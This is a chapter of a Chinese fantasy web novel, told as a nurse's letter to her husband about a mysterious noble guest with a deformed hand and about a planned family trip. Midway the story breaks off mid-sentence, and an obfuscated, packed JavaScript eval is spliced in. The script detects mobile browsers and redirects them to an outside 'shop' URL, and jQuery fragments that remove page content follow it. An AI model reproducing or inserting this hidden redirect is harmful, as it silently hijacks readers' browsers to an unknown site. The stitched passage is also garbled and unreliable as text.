嗨，老艾萨克·乔治，
后天我休假，所以我提前给你写一封信，免得你这老家伙高兴过头了。我已经迫不及待要回家亲吻你和小葛瑞斯了，一个人照顾孙女不容易吧？你也该体验体验我们女人的艰辛。她是个可爱的小疯子，跟她妈妈小时候一模一样。
你不要总是责怪梅丽，她的丈夫离她而去，她不得不独自打工，为小葛瑞斯挣学费。她是个伟大的妈妈，也是我们最棒的女儿。
我收到你带来的那一大袋苹果了，我分给了同事们，他们都说很好吃。
我认为这是世界上最美味的苹果，因为这是你种的。
我还把苹果分给了一个特殊的病人，只有他愿意接受我的好意——真奇怪，我们接待过无数贵族，那些高贵的老爷和女士们对我们这些护工总是嗤之以鼻，那个小伙子却如此与众不同，他看起来感动得要哭了。我并非夸大其词。
他叫诺兰·尤，是维尔家族的贵客，看起来像个学生，当瓦伦医生告知他已经29岁的时候，我吓了一大跳。在疗养院这么多年，我从未见过这个姓氏，我猜他来自其他国家，可他的布瑞登语说得那么好。
我见过那么多身怀绝技的巫师，可我敢打包票，小诺兰绝对是我见过的最特殊的病人。
他被送来的时候，苍白得像死了一样——斐夏在上，我绝无诅咒他的意思——他看起来太糟糕了，像在影狱边缘走了一遭。
送他来的那位年轻的德·维尔少爷告诉我，小诺兰被歹徒刺伤，他的伤口恶化，高烧不退，瓦伦医生为他开了消炎和退烧的魔药，但那可怜的年轻人还是昏迷了整整一天，我们都心惊胆战的。
至于我为什么说他特殊——我亲爱的老艾萨克啊，你这辈子都想象不到我们看到了什么。小诺兰的左手——我甚至不敢相信那还是一只手——简直就像画像里的魔龙的爪子，它如此扭曲、又如此邪恶，简直像被火焰肆虐后的老树。它简直是我见过的最恐怖的东西。
唉！我在信件里跟你说不清楚，我也不敢过多回忆，我这一周几乎都在做噩梦，那只手比恶魔还吓人。
可怜的贝丝当场吓晕了过去。她是我跟你说过的那个上个月才来的年轻人。其他人也吓得不轻。我们再也不敢摘下他的手套了，当然，我们也没告诉小诺兰这件事，我们不希望、也不能让他伤心，因为他是维尔家族的贵客。
年轻的德·维尔少爷说，小诺兰的手是战争后遗症，他被恐怖的魔物袭击了。唉，小诺兰也是个可怜的孩子。我不了解魔物，但我知道那场战争，当时的疗养院简直是活的影狱，我时不时还会梦到那惨烈的画面。我猜我这辈子也忘不掉。幸好当时你不在，我亲爱的老农民。
一开始是刘易斯负责照顾小诺兰，瓦伦医生安排的，刘易斯是个可靠的年轻人，他一直尽心尽力地照顾小诺兰，小诺兰恢复得很快——虽然要我说，他恢复得太快了，快得超出我的认知，没几天就可以下床活动了。
我可当了几十年的护工了，从没见过恢复这么快的人——不过，巫师们都是能人异士，也许小诺兰也是其中一个呢？
不过，第三天的时候，刘易斯就向主管和瓦伦医生请了假，他也很想继续照顾可怜的小诺兰，可他说他头晕、还一直做怪梦，其他人说他偷偷喝酒去了，都私下里笑话他。但我猜，他是被小诺兰的手吓到了。
所以瓦伦医生让我来照顾小诺兰，我也因此幸运地结识了一位年轻的绅士，我敢打赌，亲爱的老艾萨克，你那比木头还笨的脑袋永远也想象不到，小诺兰的学识有多渊博。更重要的是，他竟然愿意与我这么一个无趣的平民老女人交谈，这让我很开心。
小诺兰太谦逊了，他一直否认自己是个贵族，他说他只是得到了维尔家族的照顾。真是个奇怪的年轻人，对吧，谁不希望自己是个贵族？不过我不在乎这个，毕竟疗养院对客户一视同仁。
他谈吐优雅而风趣，上知天文下知地理，甚至是植物学的教授，老天啊，他这么年轻。或许你也可以向他请教，老艾萨克。
说实话，我跟羡慕他，他能读到那么多的书，学到那么多的知识。我不禁怀疑，他不是贵族的话，真的能够读到那么多书籍吗？
要是年轻的时候我也能看这么多书就好了，只可惜我们那个年代，女孩们都没有读书的机会，在跟你结婚之前，我几乎也不识几个字。还好现在小葛瑞斯也可以去上学了，多学点知识永远不是坏事。
第六天的时候，我发现小诺兰不见了，我以为他像之前一样去后山吹风了，但我在后山找不到他，最后是哈里斯女士发现了他——他竟然在试图爬墙逃跑！真是令人哭笑不得。一生侍奉贵族的哈里斯女士可看不得这个，这简直是对贵族礼仪的宣战，是把礼仪扔在地上踩，哈里斯女士气得脖子都红了。
虽然很失礼，但我很久没笑得这么开心了。当然，我也因此被主管批评了，不过我不觉得难过，疗养院的人们封建又守旧，在小诺兰爬墙之前，我从未想过这无聊的疗养院里还能发生这么有趣的事——一个试图爬墙的客户？院长大概要气得失眠了。
可那是维尔家族的贵客，院长可没那本事去惹布瑞登的三大家族之一。他大概只能一杯接一杯地喝着他对贵族老爷们摇尾巴讨来的好酒，催眠自己一切都只是噩梦。
小诺兰还跟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287351|186679||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我道了歉，不过我从头到尾都没有怪罪他的意思，这一切都太有趣了。
在第七天的时候，经过瓦伦医生的综合评估，小诺兰出院了，我猜他大概被关得难受坏了，离开的时候蹦蹦跳跳的。就连瓦伦医生也说，他这辈子从没见过恢复得这么快的人，可小诺兰的各项指标都达到了可以出院的标准，他只需要回家之后多吃点营养的食物补补身子，就可以漫山遍野去撒欢了。
我听说小诺兰常年在野外工作，怪不得他那么喜欢去后山打发时间呢。
他真的一点也没有贵族该有的样子，或许真如他所说，他确实是个平民。
在小诺兰离开之后，我又得回到那无聊又重复的工作里了。不过这几天我也有些头晕，我猜是睡不够吧。
好心的瓦伦医生提议我休假几天，他向我保证，这是带薪休假，而且在休假之前，我也可以好好休息两天。
我总是忍不住回想小诺兰跟我说过的那些见闻，那么神奇又那么有趣，我一辈子都在洛曼德市，甚至没坐过火车。如果不是他跟我分享那些奇妙的事，我大概做梦也无法想象，这个世界并不像疗养院一样无聊又重复。
他告诉我，世界不只是在聊天里、在书页上，而是在每个人的眼睛里，在每个人的脚下。
或许我这次休假，就应该去买两张火车票，咱俩辛苦了一辈子，我认为是时候出去转转了……不，买三张票，带上小葛瑞斯和我们亲爱的女儿梅丽。小诺兰告诉我，十二岁以下的孩子不用买火车票，我们可以用省下的钱去买点好吃的。
小诺兰给我列了好几张美食清单，让我放心去买，他向我保证，那些东西便宜又美味，都是当地的普通老百姓经常买的，所以我们绝对负担得起。他真贴心，不是吗？
瞧瞧我，一不小心又写多了。收到信之后，你就跟小葛瑞斯一起去准备行李吧！还有，把梅丽叫回来，趁着下雪之前，我们一家人一起去温暖的南方看看大海。
我希望能给小葛瑞斯一些走出去的勇气，说不定这可爱的小疯子以后可以展翅高飞，去见识各种我们一辈子也见不到的东西呢！还有梅丽，她小时候总是嚷嚷要我们带她出去玩，不知道我们能不能弥补一些她的童年遗憾呢？
最后是你，倔强的老艾萨克，放下你的农具休息几天！那些坚强的植物们会照顾好自己的，我们好心的邻居也会帮忙。总是跟植物待在一起，你也快变成植物了。别像个木头一样，你甘心一辈子都待在你的小农场里吗？
好了，你就跟小葛瑞斯一起欢呼去吧，别忘了收拾行李等我回来。
永远爱你的，
玛琳娜·乔治。